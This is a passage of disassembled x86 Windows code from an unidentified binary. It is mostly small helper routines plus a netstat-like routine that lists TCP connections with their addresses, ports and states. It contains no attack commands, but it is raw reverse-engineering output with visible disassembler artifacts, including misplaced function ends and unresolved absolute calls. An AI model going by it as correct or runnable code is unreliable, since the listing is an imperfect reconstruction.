sub_418B90	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418C1A


loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418C50	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C70	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418CCA


loc_418C88:				; CODE XREF: sub_418C70+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418C88
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418CCA:				; CODE XREF: sub_418C70+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D00	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418D00	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D15
		mov	edi, esi


loc_418D15:				; CODE XREF: ___:00418D11j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D2A
		mov	edi, esi


loc_418D2A:				; CODE XREF: ___:00418D26j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418D50	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D70	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418D70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D90	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418D90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DB0	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418DB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DD0	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418DD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E30	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418E30	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418EF0	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_418EF0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F10	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F10	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418F40	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419000	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419000	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419020	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_419020	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_419050	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419070	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_419070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419090	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_419090	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419100	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419160	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_43689A
sub_419160	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_4191CD
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_4191CD:				; CODE XREF: ___:004191AFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_43689A
sub_419220	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_41926E
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41926E:				; CODE XREF: ___:00419251j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192B0	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_4192B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4192D0	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4192D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
sub_4192D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419370	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_419370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419716
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D58
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41941F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419439
; ---------------------------------------------------------------------------


loc_41941F:				; CODE XREF: sub_419370+A3j
		push	offset dword_443D54
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419439
		mov	[esp+2B4h+var_2A0], 1


loc_419439:				; CODE XREF: sub_419370+ADj
					; sub_419370+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D48
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_4194C8
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D48
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_4194C8
		mov	ecx, [ebx+32h]
		push	offset off_443D44
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_4196FC


loc_4194C8:				; CODE XREF: sub_419370+123j
					; sub_419370+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436D00
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_4196F2
		lea	ebp, [esi+14h]


loc_419504:				; CODE XREF: sub_419370+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_4196DC


loc_419518:				; CODE XREF: sub_419370+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_41957C
		sub	eax, 3
		jnz	short loc_4195A2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_419585
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_419370+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_419585:				; CODE XREF: sub_419370+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195A2:				; CODE XREF: sub_419370+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_4195C8
		xor	ebx, ebx


loc_4195C8:				; CODE XREF: sub_419370+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_41965E
		cmp	eax, 1
		jz	loc_4196C3
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_419651
		cmp	eax, esi
		jnz	short loc_4196C3


loc_419651:				; CODE XREF: sub_419370+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_419684
; ---------------------------------------------------------------------------


loc_41965E:				; CODE XREF: sub_419370+2C7j
		cmp	eax, 2
		jz	short loc_4196C3
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_419672
		cmp	eax, edi
		jnz	short loc_4196C3


loc_419672:				; CODE XREF: sub_419370+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_419684:				; CODE XREF: sub_419370+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118


loc_4196C3:				; CODE XREF: sub_419370+2CCj
					; sub_419370+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_4196DC:				; CODE XREF: sub_419370+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419504


loc_4196F2:				; CODE XREF: sub_419370+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4196FC:				; CODE XREF: sub_419370+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419718
; ---------------------------------------------------------------------------


loc_419716:				; CODE XREF: sub_419370+3Dj
		mov	al, 1


loc_419718:				; CODE XREF: sub_419370+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_419370	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		call	near ptr 77C3FA76h
		nop
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419900
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_4198CE
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_4198CE
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419900
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_4198CE:				; CODE XREF: sub_419840+5Aj
					; sub_419840+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419900
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch


loc_419900:				; CODE XREF: sub_419840+52j
					; sub_419840+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419950	proc near		; CODE XREF: sub_401EECj
		nop
		call	near ptr 2870914h
		push	eax
		call	near ptr 77C371BCh
		nop
		pop	ecx
		retn
sub_419950	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419970	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	near ptr 77C371D3h
		nop
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_43698A
sub_419970	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199C0:				; CODE XREF: ___:00401C85j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_4199E0:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A00:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
